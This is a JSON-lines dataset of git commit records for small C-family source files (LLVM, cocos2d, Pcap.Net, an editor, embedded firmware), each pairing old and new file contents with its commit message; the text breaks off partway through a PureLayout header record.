{"commit":"87a44bd8909a9961fa4e909d2e199920061d08e0","old_file":"src\/control.h","new_file":"src\/control.h","old_contents":"\/**\n * File:   control.h\n * Author: Alex Savarda\n *\/\n\n#ifndef CONTROL_H\n#define CONTROL_H\n\ntypedef struct {\n    unsigned int d_srcA;\n    unsigned int d_srcB;\n    unsigned int E_dstM;\n    unsigned int e_Cnd;\n    unsigned int D_icode;\n    unsigned int E_icode;\n    unsigned int M_icode;\n} controlType;\n\n#endif \/* CONTROL_H *\/\n","new_contents":"\/*\n * File:   control.h\n * Author: Alex Savarda\n *\/\n\n#ifndef CONTROL_H\n#define CONTROL_H\n\ntypedef struct {\n    unsigned int d_srcA;\n    unsigned int d_srcB;\n    unsigned int E_dstM;\n    unsigned int e_Cnd;\n    unsigned int D_icode;\n    unsigned int E_icode;\n    unsigned int M_icode;\n} controlType;\n\n#endif \/* CONTROL_H *\/\n","subject":"Change header to C style.","message":"Change header to C style.","lang":"C","license":"isc","repos":"sbennett1990\/YESS,sbennett1990\/YESS,sbennett1990\/YESS"}
{"commit":"73e7eee167ec59d1b908c59a143ba88ef0dff2ad","old_file":"xhyve-manager.c","new_file":"xhyve-manager.c","old_contents":"\n\/\/ System\n#include <unistd.h>\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n\n\/\/ Preprocessed\n#define PROGRAM_EXEC 0\n#define COMMAND 1\n#define MACHINE_NAME 2\n\n\/\/ Commands\n#define LIST_COMMAND \"list\"\n\nvoid list_machines() {\n  fprintf(stdout, \"Here be a list of machines:\\n\");\n  fprintf(stdout, \" - default\\n\");\n  fprintf(stdout, \" - different\\n\");\n}\n\nvoid usage(char **argv) {\n  fprintf(stderr, \"Usage: %s <command> <virtual-machine-name> \\n\", argv[PROGRAM_EXEC]);\n}\n\nvoid run_command(char *command, char *machine_name) {\n  fprintf(stdout, \"%s machine %s\\n\", command, machine_name);\n}\n\nint main(int argc, char **argv) {\n  if (argv[MACHINE_NAME] && argv[COMMAND]) {\n    run_command(argv[COMMAND], argv[MACHINE_NAME]);\n  } else {\n    list_machines();\n    usage(argv);\n    exit(EXIT_FAILURE);\n  }\n  exit(EXIT_SUCCESS);\n}\n\n","new_contents":"\/**\n * xhyve-manager\n * a simple CLI utility to manage xhyve virtual machines.\n **\/\n\n\/\/ System\n#include <unistd.h>\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n\n\/\/ Preprocessed\n#define PROGRAM_EXEC 0\n#define COMMAND 1\n#define MACHINE_NAME 2\n\n\/\/ Valid Commands\nchar *commands[] = {\n  \"list\",\n  \"create\",\n  \"delete\",\n  \"start\"\n};\n\nvoid list_machines() {\n  fprintf(stdout, \"Here be a list of machines:\\n\");\n  fprintf(stdout, \" - default\\n\");\n  fprintf(stdout, \" - different\\n\");\n}\n\nvoid usage(char **argv) {\n  fprintf(stderr, \"Usage: %s <command> <virtual-machine-name> \\n\", argv[PROGRAM_EXEC]);\n}\n\nvoid run_command(char *command, char *machine_name) {\n  fprintf(stdout, \"%s machine %s\\n\", command, machine_name);\n}\n\nint main(int argc, char **argv) {\n  if (argv[MACHINE_NAME] && argv[COMMAND]) {\n    run_command(argv[COMMAND], argv[MACHINE_NAME]);\n  } else if (!argv[MACHINE_NAME] && argv[COMMAND]) {\n    list_machines();\n  } else {\n    usage(argv);\n    exit(EXIT_FAILURE);\n  }\n  exit(EXIT_SUCCESS);\n}\n\n","subject":"Add array of valid commands.","message":"Add array of valid commands.\n","lang":"C","license":"bsd-3-clause","repos":"0x414A\/xhyve-manager"}
{"commit":"1ec8e194eb28bc451abab3624ff2cb85f22f7b6c","old_file":"test\/FrontendC\/func-aligned.c","new_file":"test\/FrontendC\/func-aligned.c","old_contents":"","new_contents":"\/\/ RUN: %llvmgcc %s -S -emit-llvm -o - | FileCheck %s\n\n\/\/ rdar:\/\/7270273\nvoid foo() __attribute__((aligned (64)));\nvoid foo() {\n\/\/ CHECK: define void @foo() {{.*}} align 64\n}\n","subject":"Test case for aligned attribute on function declaration.","message":"Test case for aligned attribute on function declaration.\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@83234 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"dslab-epfl\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm"}
{"commit":"025fba5a10df4643626c91c96c8ecf2042b19218","old_file":"cocos2d-ui\/cocos2d-ui.h","new_file":"cocos2d-ui\/cocos2d-ui.h","old_contents":"\/*\n * cocos2d for iPhone: http:\/\/www.cocos2d-iphone.org\n *\n * Copyright (c) 2013 Apportable Inc.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\/\n\n\/\/ Cocos2d-UI\n#import \"CCControl.h\"\n#import \"CCButton.h\"\n#import \"CCScrollView.h\"\n#import \"CCTableView.h\"\n#import \"CCTextField.h\"\n\n\/\/ CCBReader\n#import \"CCBuilderReader.h\"\n","new_contents":"\/*\n * cocos2d for iPhone: http:\/\/www.cocos2d-iphone.org\n *\n * Copyright (c) 2013 Apportable Inc.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\/\n\n\/\/ Cocos2d-UI\n#import \"CCControl.h\"\n#import \"CCButton.h\"\n#import \"CCScrollView.h\"\n#import \"CCTableView.h\"\n#import \"CCTextField.h\"\n#import \"CCSlider.h\"\n\n\/\/ CCBReader\n#import \"CCBuilderReader.h\"\n","subject":"Add CCSlider to the UI headers","message":"Add CCSlider to the UI headers\n\nFormer-commit-id: ea90510d6f80d76b2f53ba1e2bc469e9304eb642","lang":"C","license":"mit","repos":"DNESS\/cocos2d-objc,richardgroves\/cocos2d-iphone,tambarskjelve\/cocos2d-objc,jason-puck\/cocos2d-iphone,SuPair\/cocos2d-objc,yaoxiaoyong\/cocos2d-objc,seem-sky\/cocos2d-swift,cogddo\/cocos2d-objc,oxeron\/cocos2d-objc,dnessorga\/cocos2d-objc,codepython\/cocos2d-objc,codepython\/cocos2d-objc,zaneLou\/cocos2d-objc,SuPair\/cocos2d-objc,codepython\/cocos2d-objc,finthamoussu\/cocos2d-objc,yaoxiaoyong\/cocos2d-objc,SuPair\/cocos2d-objc,jason-puck\/cocos2d-iphone,cogddo\/cocos2d-objc,lpeancovschi\/cocos2d-objc,codepython\/cocos2d-objc,DNESS\/cocos2d-objc,cocos2d\/cocos2d-objc,knight2010\/cocos2d-objc,dnessorga\/cocos2d-objc,lpeancovschi\/cocos2d-objc,DNESS\/cocos2d-objc,zaneLou\/cocos2d-objc,seem-sky\/cocos2d-swift,dnessorga\/cocos2d-objc,dnessorga\/cocos2d-objc,nader-eloshaiker\/cocos2d-objc,nader-eloshaiker\/cocos2d-objc,liduanw\/cocos2d-objc,knight2010\/cocos2d-objc,richardgroves\/cocos2d-iphone,knight2010\/cocos2d-objc,TukekeSoft\/cocos2d-spritebuilder,liduanw\/cocos2d-objc,liduanw\/cocos2d-objc,knight2010\/cocos2d-objc,dnessorga\/cocos2d-objc,savysoda\/cocos2d-objc,SuPair\/cocos2d-objc,finthamoussu\/cocos2d-objc,cogddo\/cocos2d-objc,cocos2d\/cocos2d-objc,lpeancovschi\/cocos2d-objc,nader-eloshaiker\/cocos2d-objc,yaoxiaoyong\/cocos2d-objc,TukekeSoft\/cocos2d-spritebuilder,finthamoussu\/cocos2d-objc,TukekeSoft\/cocos2d-spritebuilder,richardgroves\/cocos2d-iphone,tambarskjelve\/cocos2d-objc,SuPair\/cocos2d-objc,finthamoussu\/cocos2d-objc,savysoda\/cocos2d-objc,seem-sky\/cocos2d-swift,tambarskjelve\/cocos2d-objc,TukekeSoft\/cocos2d-spritebuilder,tambarskjelve\/cocos2d-objc,liduanw\/cocos2d-objc,savysoda\/cocos2d-objc,cogddo\/cocos2d-objc,zaneLou\/cocos2d-objc,tambarskjelve\/cocos2d-objc,savysoda\/cocos2d-objc,zaneLou\/cocos2d-objc,nader-eloshaiker\/cocos2d-objc,yaoxiaoyong\/cocos2d-objc,seem-sky\/cocos2d-swift,DNESS\/cocos2d-objc,liduanw\/cocos2d-objc,jason-puck\/cocos2d-iphone,yaoxiaoyong\/cocos2d-objc,oxeron\/cocos2d-objc,lpeancovschi\/cocos2d-objc,DNESS\/cocos2d-objc"}
{"commit":"05958a67e44b1b08381db79cf2116db502616704","old_file":"tests\/sv-comp\/basic\/for_odd_vesal_true-unreach-call.c","new_file":"tests\/sv-comp\/basic\/for_odd_vesal_true-unreach-call.c","old_contents":"","new_contents":"extern void __VERIFIER_error() __attribute__ ((__noreturn__));\nextern int __VERIFIER_nondet_int();\nvoid __VERIFIER_assert(int cond) {\n    if (!(cond)) {\n        ERROR: __VERIFIER_error();\n    }\n    return;\n}\n\nvoid fun()\n{\n    int i; \/\/ Ultimate can't handle i declared in for\n    for (i = 1; i < 1000; i += 2)\n    {\n        __VERIFIER_assert(i < 2000);\n    }\n    \/\/ Ultimate benefits from cycle invariant: i % 2 == 1\n    __VERIFIER_assert(i == 1001);\n}\n\nint main()\n{\n    fun();\n    return 0;\n}","subject":"Add Vesal's oddness cycle invariant example","message":"Add Vesal's oddness cycle invariant example\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"27b3c2fae342747e25b76eb82524650fde42ed47","old_file":"src\/compiler_llvm\/utils_llvm.h","new_file":"src\/compiler_llvm\/utils_llvm.h","old_contents":"\/*\n * Copyright (C) 2011 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef ART_SRC_UTILS_LLVM_H_\n#define ART_SRC_UTILS_LLVM_H_\n\n#include \"base\/stringprintf.h\"\n\n#include <llvm\/Analysis\/Verifier.h>\n\n#include <stdint.h>\n#include <string>\n\nnamespace art {\n\n#ifndef NDEBUG\n#define VERIFY_LLVM_FUNCTION(func) llvm::verifyFunction(func, llvm::PrintMessageAction)\n#else\n#define VERIFY_LLVM_FUNCTION(func)\n#endif\n\ninline static std::string ElfFuncName(uint32_t idx) {\n  return StringPrintf(\"Art%u\", static_cast<unsigned int>(idx));\n}\n\nclass CStringLessThanComparator {\n public:\n  bool operator()(const char* lhs, const char* rhs) const {\n    return (strcmp(lhs, rhs) < 0);\n  }\n};\n\n}  \/\/ namespace art\n\n#endif  \/\/ ART_SRC_UTILS_LLVM_H_\n","new_contents":"\/*\n * Copyright (C) 2011 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef ART_SRC_UTILS_LLVM_H_\n#define ART_SRC_UTILS_LLVM_H_\n\n#include \"base\/stringprintf.h\"\n\n#include <llvm\/Analysis\/Verifier.h>\n\n#include <stdint.h>\n#include <string>\n\nnamespace art {\n\n#ifndef NDEBUG\n#define VERIFY_LLVM_FUNCTION(func) llvm::verifyFunction(func, llvm::AbortProcessAction)\n#else\n#define VERIFY_LLVM_FUNCTION(func)\n#endif\n\ninline static std::string ElfFuncName(uint32_t idx) {\n  return StringPrintf(\"Art%u\", static_cast<unsigned int>(idx));\n}\n\nclass CStringLessThanComparator {\n public:\n  bool operator()(const char* lhs, const char* rhs) const {\n    return (strcmp(lhs, rhs) < 0);\n  }\n};\n\n}  \/\/ namespace art\n\n#endif  \/\/ ART_SRC_UTILS_LLVM_H_\n","subject":"Abort LLVM in debug builds when the IR doesn't verify.","message":"Abort LLVM in debug builds when the IR doesn't verify.\n\nChange-Id: I71a035b260c895adde21ba90c84afa1f0b0ec997\n","lang":"C","license":"apache-2.0","repos":"treadstoneproject\/artinst,treadstoneproject\/artinst,treadstoneproject\/artinst,treadstoneproject\/artinst,treadstoneproject\/artinst"}
{"commit":"bf945fd0e8808702fe10a6375e696b96fb5512f8","old_file":"insert_mode.c","new_file":"insert_mode.c","old_contents":"#include \"mode.h\"\n\n#include <ctype.h>\n#include <termbox.h>\n\n#include \"buffer.h\"\n#include \"gap.h\"\n#include \"editor.h\"\n\nstatic void insert_mode_entered(editor_t *editor) {\n  editor_status_msg(editor, \"-- INSERT --\");\n}\n\nstatic void insert_mode_key_pressed(editor_t* editor, struct tb_event* ev) {\n  buffer_t *buffer = editor->window->buffer;\n  gapbuf_t *gb = buffer->text;\n  int *cursor = &editor->window->cursor;\n  char ch;\n  switch (ev->key) {\n  case TB_KEY_ESC: case TB_KEY_CTRL_C:\n    editor_status_msg(editor, \"\");\n    editor_pop_mode(editor);\n    return;\n  case TB_KEY_BACKSPACE2:\n    if (cursor > 0) {\n      gb_del(gb, 1, (*cursor)--);\n      buffer->dirty = 1;\n    }\n    return;\n  case TB_KEY_ENTER: ch = '\\n'; break;\n  case TB_KEY_SPACE: ch = ' '; break;\n  default: ch = ev->ch; break;\n  }\n  gb_putchar(gb, ch, (*cursor)++);\n  buffer->dirty = 1;\n}\n\nstatic editing_mode_t impl = {\n  insert_mode_entered,\n  insert_mode_key_pressed\n};\n\nediting_mode_t *insert_mode(void) {\n  return &impl;\n}\n","new_contents":"#include \"mode.h\"\n\n#include <ctype.h>\n#include <termbox.h>\n\n#include \"buffer.h\"\n#include \"gap.h\"\n#include \"editor.h\"\n\nstatic void insert_mode_entered(editor_t *editor) {\n  editor_status_msg(editor, \"-- INSERT --\");\n}\n\nstatic void insert_mode_key_pressed(editor_t* editor, struct tb_event* ev) {\n  buffer_t *buffer = editor->window->buffer;\n  gapbuf_t *gb = buffer->text;\n  int *cursor = &editor->window->cursor;\n  char ch;\n  switch (ev->key) {\n  case TB_KEY_ESC: case TB_KEY_CTRL_C:\n    editor_status_msg(editor, \"\");\n    editor_pop_mode(editor);\n    return;\n  case TB_KEY_BACKSPACE2:\n    if (*cursor > 0) {\n      gb_del(gb, 1, (*cursor)--);\n      buffer->dirty = 1;\n    }\n    return;\n  case TB_KEY_ENTER: ch = '\\n'; break;\n  case TB_KEY_SPACE: ch = ' '; break;\n  default: ch = ev->ch; break;\n  }\n  gb_putchar(gb, ch, (*cursor)++);\n  buffer->dirty = 1;\n}\n\nstatic editing_mode_t impl = {\n  insert_mode_entered,\n  insert_mode_key_pressed\n};\n\nediting_mode_t *insert_mode(void) {\n  return &impl;\n}\n","subject":"Fix backspace at start of file.","message":"Fix backspace at start of file.\n","lang":"C","license":"mit","repos":"isbadawi\/badavi"}
{"commit":"14e47d26ce9d896bc47e4873175013c529e14e4c","old_file":"PcapDotNet\/src\/PcapDotNet.Core\/PacketTotalStatistics.h","new_file":"PcapDotNet\/src\/PcapDotNet.Core\/PacketTotalStatistics.h","old_contents":"#pragma once\r\n\r\n#include \"PcapDeclarations.h\"\r\n\r\nnamespace PcapDotNet { namespace Core \r\n{\r\n    \/\/\/ <summary>\r\n    \/\/\/ Statistics on capture from the start of the run. \r\n    \/\/\/ <\/summary>\r\n    public ref class PacketTotalStatistics sealed : System::IEquatable<PacketTotalStatistics^>\r\n    {\r\n    public:\r\n        \/\/\/ <summary>\r\n        \/\/\/ Number of packets transited on the network.\r\n        \/\/\/ <\/summary>\r\n        property unsigned int PacketsReceived\r\n        {\r\n            unsigned int get();\r\n        }\r\n\r\n        \/\/\/ <summary>\r\n        \/\/\/ Number of packets dropped by the driver.\r\n        \/\/\/ <\/summary>\r\n        property unsigned int PacketsDroppedByDriver\r\n        {\r\n            unsigned int get();\r\n        }\r\n\r\n        \/\/\/ <summary>\r\n        \/\/\/ Number of packets dropped by the interface.\r\n        \/\/\/ Not yet supported.\r\n        \/\/\/ <\/summary>\r\n        property unsigned int PacketsDroppedByInterface\r\n        {\r\n            unsigned int get();\r\n        }\r\n\r\n        \/\/\/ <summary>\r\n        \/\/\/ Win32 specific. Number of packets captured, i.e number of packets that are accepted by the filter, that find place in the kernel buffer and therefore that actually reach the application.\r\n        \/\/\/ <\/summary>\r\n        property unsigned int PacketsCaptured\r\n        {\r\n            unsigned int get();\r\n        }\r\n        \r\n        virtual bool Equals(PacketTotalStatistics^ other);\r\n        virtual bool Equals(System::Object^ obj) override;\r\n\r\n        virtual int GetHashCode() override;\r\n\r\n        virtual System::String^ ToString() override;\r\n\r\n    internal:\r\n        PacketTotalStatistics(const pcap_stat& statistics, int statisticsSize);\r\n\r\n    private:\r\n        unsigned int _packetsReceived;\r\n        unsigned int _packetsDroppedByDriver;\r\n        unsigned int _packetsDroppedByInterface;\r\n        unsigned int _packetsCaptured;\r\n    };\r\n}}","new_contents":"#pragma once\r\n\r\n#include \"PcapDeclarations.h\"\r\n\r\nnamespace PcapDotNet { namespace Core \r\n{\r\n    \/\/\/ <summary>\r\n    \/\/\/ Statistics on capture from the start of the run. \r\n    \/\/\/ <\/summary>\r\n    public ref class PacketTotalStatistics sealed : System::IEquatable<PacketTotalStatistics^>\r\n    {\r\n    public:\r\n        \/\/\/ <summary>\r\n        \/\/\/ Number of packets transited on the network.\r\n        \/\/\/ <\/summary>\r\n        property unsigned int PacketsReceived\r\n        {\r\n            unsigned int get();\r\n        }\r\n\r\n        \/\/\/ <summary>\r\n        \/\/\/ Number of packets dropped by the driver.\r\n        \/\/\/ <\/summary>\r\n        property unsigned int PacketsDroppedByDriver\r\n        {\r\n            unsigned int get();\r\n        }\r\n\r\n        \/\/ TODO: Update documentation when support is added.\r\n        \/\/\/ <summary>\r\n        \/\/\/ Number of packets dropped by the interface.\r\n        \/\/\/ Not yet supported.\r\n        \/\/\/ <\/summary>\r\n        property unsigned int PacketsDroppedByInterface\r\n        {\r\n            unsigned int get();\r\n        }\r\n\r\n        \/\/\/ <summary>\r\n        \/\/\/ Win32 specific. Number of packets captured, i.e number of packets that are accepted by the filter, that find place in the kernel buffer and therefore that actually reach the application.\r\n        \/\/\/ <\/summary>\r\n        property unsigned int PacketsCaptured\r\n        {\r\n            unsigned int get();\r\n        }\r\n        \r\n        virtual bool Equals(PacketTotalStatistics^ other);\r\n        virtual bool Equals(System::Object^ obj) override;\r\n\r\n        virtual int GetHashCode() override;\r\n\r\n        virtual System::String^ ToString() override;\r\n\r\n    internal:\r\n        PacketTotalStatistics(const pcap_stat& statistics, int statisticsSize);\r\n\r\n    private:\r\n        unsigned int _packetsReceived;\r\n        unsigned int _packetsDroppedByDriver;\r\n        unsigned int _packetsDroppedByInterface;\r\n        unsigned int _packetsCaptured;\r\n    };\r\n}}","subject":"Add a TODO to update PacketsDroppedByInterface documentation when it gets supported.","message":"Add a TODO to update PacketsDroppedByInterface documentation when it gets supported.","lang":"C","license":"bsd-3-clause","repos":"prvillagra\/Pcap.Net,bricknerb\/Pcap.Net,OperatorOverload\/Pcap.Net,suarez-duran-m\/pcap-pade,petredimov\/Pcap.Net,giokats\/Pcap.Net,OperatorOverload\/Pcap.Net,suarez-duran-m\/pcap-pade,bricknerb\/Pcap.Net,prvillagra\/Pcap.Net,bricknerb\/Pcap.Net,giokats\/Pcap.Net,petredimov\/Pcap.Net,suarez-duran-m\/pcap-pade,OperatorOverload\/Pcap.Net,giokats\/Pcap.Net,petredimov\/Pcap.Net,prvillagra\/Pcap.Net"}
{"commit":"3ff4727396312ce53c2b78a111bfb8d691148751","old_file":"cbits\/check-mx.c","new_file":"cbits\/check-mx.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <netinet\/in.h>\n#include <resolv.h>\n\nint check_mx(char *domain)\n{\n  u_char nsbuf[4096];\n  return res_query(domain, ns_c_any, ns_t_mx, nsbuf, sizeof (nsbuf)) > 0;\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <netinet\/in.h>\n#include <resolv.h>\n\nint check_mx(char *domain)\n{\n  u_char nsbuf[4096];\n  return res_query(domain, ns_c_in, ns_t_mx, nsbuf, sizeof (nsbuf)) > 0;\n}\n","subject":"Use C_IN for class of information","message":"Use C_IN for class of information\n","lang":"C","license":"bsd-3-clause","repos":"qoelet\/check-email,chrisdone\/check-email"}
{"commit":"0737f040b1a4fc0a8edbef63fecce90cb77a487b","old_file":"include\/os\/utils.h","new_file":"include\/os\/utils.h","old_contents":"","new_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\n\/\/\/ @file\n\/\/\/ @author     Kuba Sejdak\n\/\/\/ @date       11.12.2016\n\/\/\/\n\/\/\/ @copyright  This file is a part of cosmos OS. All rights reserved.\n\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#ifndef UTILS_H\n#define UTILS_H\n\n#define REGISTER(type, addr)                ((volatile type *) (addr))\n\n#endif","subject":"Add macro for defining memory-mapped registers.","message":"lib: Add macro for defining memory-mapped registers.\n","lang":"C","license":"bsd-2-clause","repos":"ksejdak\/cosmos,ksejdak\/cosmos,ksejdak\/cosmos"}
{"commit":"be7f76e0718737cf7db3506572d8b933a3da0296","old_file":"firmware\/common\/Motor\/Motor.h","new_file":"firmware\/common\/Motor\/Motor.h","old_contents":"\/*\n * Supemeca Never Dies 2017\n * \\file Motor.h\n * \\date 17\/03\/2017\n * \\author Romain Reignier\n *\/\n\n#pragma once\n\n#include \"hal.h\"\n\n#include \"Motors.h\"\n\nclass Motor\n{\n  friend class Motors;\npublic:\n  enum eDirection\n  {\n    FORWARD,\n    BACKWARD\n  };\n  static constexpr uint32_t kPwmFrequency{1000000};\n  static constexpr uint16_t kPwmPeriod{125};\n  \/\/ TODO: change direction security, not too often\n  Motor(PWMDriver* _driver, const uint8_t _channel,\n        bool _isComplementaryChannel = false);\n  void begin();\n  void stop();\n  void pwm(int16_t _percentage);\n  void pwmI(int16_t _percentage);\n  virtual void brake() = 0;\n  virtual void changeDirection(eDirection _direction) = 0;\n  virtual void setOutputPinsMode() = 0;\n\nprotected:\n  PWMDriver* m_driver;\n  uint8_t m_channel;\n  bool m_isComplementaryChannel;\n  PWMConfig m_pwmCfg;\n};\n","new_contents":"\/*\n * Supemeca Never Dies 2017\n * \\file Motor.h\n * \\date 17\/03\/2017\n * \\author Romain Reignier\n *\/\n\n#pragma once\n\n#include \"hal.h\"\n\n#include \"Motors.h\"\n\nclass Motor\n{\n  friend class Motors;\npublic:\n  enum eDirection\n  {\n    FORWARD,\n    BACKWARD\n  };\n  static constexpr uint32_t kPwmFrequency{10000};\n  static constexpr uint16_t kPwmPeriod{20};\n  Motor(PWMDriver* _driver, const uint8_t _channel,\n        bool _isComplementaryChannel = false);\n  void begin();\n  void stop();\n  void pwm(int16_t _percentage);\n  void pwmI(int16_t _percentage);\n  virtual void brake() = 0;\n  virtual void changeDirection(eDirection _direction) = 0;\n  virtual void setOutputPinsMode() = 0;\n\nprotected:\n  PWMDriver* m_driver;\n  uint8_t m_channel;\n  bool m_isComplementaryChannel;\n  PWMConfig m_pwmCfg;\n};\n","subject":"Reduce PWM frequency to 500 Hz.","message":"Reduce PWM frequency to 500 Hz.\n","lang":"C","license":"apache-2.0","repos":"romainreignier\/robot2017,romainreignier\/robot2017,romainreignier\/robot2017,romainreignier\/robot2017"}
{"commit":"f7efdfd7b740d8d59015e14cb62ac6b3e68743da","old_file":"Source\/PureLayout.h","new_file":"Source\/PureLayout.h","old_contents":"\/\/\n\/\/  PureLayout.h\n\/\/  v2.0.2\n\/\/  https:\/\/github.com\/smileyborg\/PureLayout\n\/\/\n\/\/  Copyright (c) 2014 Tyler Fox\n\/\/\n\/\/  This code is distributed under the terms and conditions of the MIT license.\n\/\/\n\/\/  Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/  of this software and associated documentation files (the \"Software\"), to\n\/\/  deal in the Software without restriction, including without limitation the\n\/\/  rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n\/\/  sell copies of the Software, and to permit persons to whom the Software is\n\/\/  furnished to do so, subject to the following conditions:\n\/\/\n\/\/  The above copyright notice and this permission notice shall be included in\n\/\/  all copies or substantial portions of the Software.\n\/\/\n\/\/  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n\/\/  FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n\/\/  IN THE SOFTWARE.\n\/\/\n\n#ifndef PureLayout_h\n#define PureLayout_h\n\n#import \"ALView+PureLayout.h\"\n#import \"NSArray+PureLayout.h\"\n#import \"NSLayoutConstraint+PureLayout.h\"\n\n#endif \/* PureLayout_h *\/","new_contents":"\/\/\n\/\/  PureLayout.h\n\/\/  v2.0.2\n\/\/  https:\/\/github.com\/smileyborg\/PureLayout\n\/\/\n\/\/  Copyright (c) 2014 Tyler Fox\n\/\/\n\/\/  This code is distributed under the terms and conditions of the MIT license.\n\/\/\n\/\/  Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/  of this software and associated documentation files (the \"Software\"), to\n\/\/  deal in the Software without restriction, including without limitation the\n\/\/  rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n\/\/  sell copies of the Software, and to permit persons to whom the Software is\n\/\/  furnished to do so, subject to the following conditions:\n\/\/\n\/\/  The above copyright notice and this permission notice shall be included in\n\/\/  all copies or substantial portions of the Software.\n\/\/\n\/\/  THE SOFTWARE IS 